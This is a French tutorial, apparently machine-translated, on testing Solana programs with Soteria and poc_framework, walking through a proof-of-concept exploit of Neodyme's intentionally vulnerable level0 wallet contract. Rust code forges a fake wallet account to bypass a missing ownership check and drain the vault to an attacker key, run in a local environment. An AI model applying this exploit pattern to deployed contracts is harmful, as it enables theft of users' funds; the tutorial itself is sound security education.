
Dans cet article, nous présentons quelques outils de test d’intrusion pour aider à détecter les vulnérabilités dans les programmes Solana ou Rust en général.
Le framework poc fournit un moyen pratique de simuler des transactions dans un environnement local. Pour illustrer son utilisation, nous utiliserons un exemple fourni par Neodyme sur Github.
Nous courons d’abord soteria -analyzeAll .
pour obtenir une liste de vulnérabilités potentielles, pour lesquelles nous utilisons ensuite le framework poc pour construire des exploits. En particulier, Soteria signale le problème suivant :
En fait, il s’agit d’une vulnérabilité connue (ligne 104 un contrôle de propriété manquant) dans le contrat de niveau0. Au cours des trois prochaines étapes, nous allons construire un PoC pour exploiter cette vulnérabilité.
Pour développer le PoC, la première étape consiste à configurer les états du contrat, ce qui inclut généralement le déploiement du contrat sur la blockchain, la création des comptes de contrat nécessaires et l’appel d’une transaction pour initialiser les états du contrat.
Plus précisément, pour appeler la fonction d’initialisation (ligne 21), nous devons préparer trois paramètres : id_programme, comptes, et données_instruction. Les id_programme est triviale : c’est la clé publique du contrat déployé.
Cependant, les deux autres paramètres doivent avoir un contenu de données approprié pour satisfaire les conditions de la fonction d’initialisation (ligne 27).
- Le vecteur de comptes comprend au moins cinq comptes dans l’ordre suivant : portefeuille_info, info_vault, info_autorité, location_info, et programme_système. Le cinquième compte est utilisé par system_instruction::create_account (lignes 46 et 58)
- Les comptes ont des relations (appliqué par assert_eq! ligne 42): wallet_info.key == wallet_address, et wallet_address est une adresse dérivée du programme (PDA) déterminée par id_programme et info_autorité.key.
- Les portefeuille_info le compte a des données vides (appliqué par assert!(wallet_info.data_is_empty()) ligne 43)
Pour atteindre notre objectif, il y a trois étapes :
- utilisez le poc_framework pour créer trois comptes : un pour l’autorité, un utilisateur et un pirate :
let authority = poc_framework::keypair(0);
let user = poc_framework::keypair(1);
let hacker = poc_framework::keypair(2);
let authority_address = authority.pubkey();
let user_address = user.pubkey();
let hacker_address = hacker.pubkey();
2. utiliser le poc_framework LocalEnvironment pour déployer le contrat (level0.so) avec un id_programme (programme_portefeuille), ajoutez les trois comptes ci-dessus et initialisez-les chacun avec 1.0 sol :
let path = "./target/deploy/level0.so";
let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let amount_1sol = sol_to_lamports(1.0);
let mut env = poc_framework::LocalEnvironment::builder()
.add_program(wallet_program, path)
.add_account_with_lamports(authority_address, system_program::id(), amount_1sol)
.add_account_with_lamports(user_address, system_program::id(), amount_1sol)
.add_account_with_lamports(hacker_address, system_program::id(), amount_1sol)
.build();
3. construire une instruction avec les trois paramètres, puis exécuter une transaction dans l’environnement local poc_framework :
env.execute_as_transaction(&[Instruction {
program_id: wallet_program,
accounts: vec![
AccountMeta::new(wallet_address, false),
AccountMeta::new(vault_address, false),
AccountMeta::new(authority_address, true),
AccountMeta::new_readonly(sysvar::rent::id(), false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: WalletInstruction::Initialize.try_to_vec().unwrap(),}], &[&authority]).print();
Noter que adresse_portefeuille et adresse_vault sont des PDA, qui sont construits par Pubkey::find_program_address (lignes 33-38):
let (wallet_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes()], &wallet_program);
let (vault_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes(), &"VAULT".as_bytes()], &wallet_program);
Maintenant, la première étape est faite. Cette étape est généralement effectuée par le propriétaire du contrat avec une certaine autorité, et pour le PoC, nous supposons qu’elle est effectuée correctement.
L’exécution du code produira le journal suivant :
Actuellement, le compte du coffre-fort a presque zéro argent (à l’exception des frais d’exemption de loyer de 0,00089088 sol). Dans la deuxième étape, nous allons créer une transaction pour appeler la fonction de dépôt afin de transférer de l’argent sur le compte du coffre-fort. Cette étape peut être généralisée pour simuler toute interaction normale de l’utilisateur avec le contrat.
Dans la fonction de dépôt ci-dessus, le vecteur de comptes comprend quatre comptes : portefeuille, sauter, la source (le compte d’utilisateur à partir duquel transférer de l’argent) et programme_système (utilisé par system_instruction::transfer ligne 95).
Le montant d’argent à transférer est un paramètre passé à WalletInstruction::Dépôt {amount}.
Nous pouvons ensuite construire une instruction avec ces paramètres et utiliser à nouveau le poc_framework pour exécuter une transaction :
env.execute_as_transaction(&[Instruction {
program_id: wallet_program,
accounts: vec![
AccountMeta::new(wallet_address, false),
AccountMeta::new(vault_address, false),
AccountMeta::new(user_address, true),
AccountMeta::new_readonly(system_program::id(), false)
],
data: WalletInstruction::Deposit {
amount: amount_1sol}.try_to_vec().unwrap()
}],&[&user]).print();
Maintenant, la deuxième étape est terminée. L’exécution du code produira le journal suivant. Notez que le compte du coffre-fort a maintenant 1.00089088 sol. Nous venons de transférer avec succès 1 sol.
Enfin, nous sommes sur le point de terminer l’exploit en créant une instruction qui simule le comportement du pirate. L’objectif dans ce cas est d’invoquer la fonction de retrait pour transférer de l’argent du compte du coffre-fort au pirate.
Du rapport Soteria, rappelons que le compte wallet n’est pas de confiance (ligne 104) . Cela signifie que le pirate peut créer un faux compte de portefeuille pour invoquer la fonction de retrait. Pour réussir à voler l’argent (ligne 119), le faux compte portefeuille et les autres entrées doivent satisfaire aux conditions suivantes :
- Les portefeuille.autorité le champ doit être le même que le info_autorité clé de compte (appliquée par assert_eq! ligne 111):
assert_eq!(wallet.authority, *authority_info.key)
- Les portefeuille.vault Le champ doit être le même que la clé du compte de coffre (appliquée par assert_eq! ligne 112):
assert_eq!(wallet.vault, *vault_info.key);
- Le retrait montant n’est pas plus grand que l’argent dans le compte du coffre-fort :
if amount > **vault_info.lamports.borrow_mut()
- De plus, le compte d’autorité doit être signé (appliqué par assert! ligne 110):
assert!(authority_info.is_signer)
Pour satisfaire à cette condition, le pirate peut également fournir un fausse autorité compte, par exemple, utiliser leur propre compte de pirate et signer la transaction.
Compte tenu de toutes ces contraintes, nous pouvons créer un faux compte de portefeuille avec hacker_address comme faux champ d’autorité :
let hack_wallet = Wallet {
authority: hacker_address,
vault: vault_address
};
let mut hack_wallet_data: Vec<u8> = vec![];
hack_wallet.serialize(&mut hack_wallet_data).unwrap();
Nous utilisons le poc_framework pour créer un faux compte de portefeuille dans l’environnement local :
let fake_wallet = poc_framework::keypair(4);
let fake_wallet_address = fake_wallet.pubkey();
env.create_account_with_data(&fake_wallet, hack_wallet_data);
Nous pouvons alors créer une transaction pour appeler l’instruction de retrait :
env.execute_as_transaction(&[Instruction {
program_id: wallet_program,
accounts: vec![
AccountMeta::new(fake_wallet_address, false),
AccountMeta::new(vault_address, false),
AccountMeta::new(hacker_address, true),
AccountMeta::new(hacker_address, false)
],
data: WalletInstruction::Withdraw {
amount: amount_to_steal }.try_to_vec().unwrap(),
}], &[&hacker]).print();
Dans ce qui précède, le montant_à_voler peut être réglé sur le montant d’argent dans le coffre-fort :
let amount_to_steal = env.get_account(vault_address).unwrap().lamports;
En mettant tout ce qui précède ensemble, nous avons réussi à créer un PoC pour exploiter la vulnérabilité. L’exécution du code produira le journal suivant. Notez que le compte du coffre-fort est maintenant vide et que le pirate a maintenant 2.00089088 sol.